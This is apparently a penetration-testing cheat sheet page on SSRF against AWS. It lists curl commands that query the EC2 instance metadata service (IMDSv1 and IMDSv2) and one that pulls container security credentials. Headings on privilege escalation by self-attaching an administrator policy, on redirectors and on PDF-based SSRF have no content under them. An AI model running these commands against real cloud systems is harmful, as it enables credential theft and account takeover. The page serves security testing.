SSRF / RCE

SSRFchevron-right

AWS

AWSchevron-right

AWS Metadata

  • IMDV1

curl http://169.254.169.254/latest/meta-data/
  • IMDV2

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
TOKEN=$(curl -XPUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/ -H "X-aws-ec2-metadata-token: $TOKEN"

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN” 

curl -H "X-aws-ec2-metadata-token: $(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')" http://169.254.169.254/latest/meta-data/

AWS Userdata

  • IMDV1

  • IMDV2

Metadata

Get the Managed Policy Attached to EC2 Instance :

Retrieves the specified inline policy document that is embedded on the ec2 instance role :

Get the permissions in inline policy :

Escalate privilege by attaching administrator policy to itself :

Using a redirector

Inside PDF

Unauthorized Access to Metadata and User Data

Interesting Book

Interesting Bookschevron-right
circle-info

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Last updated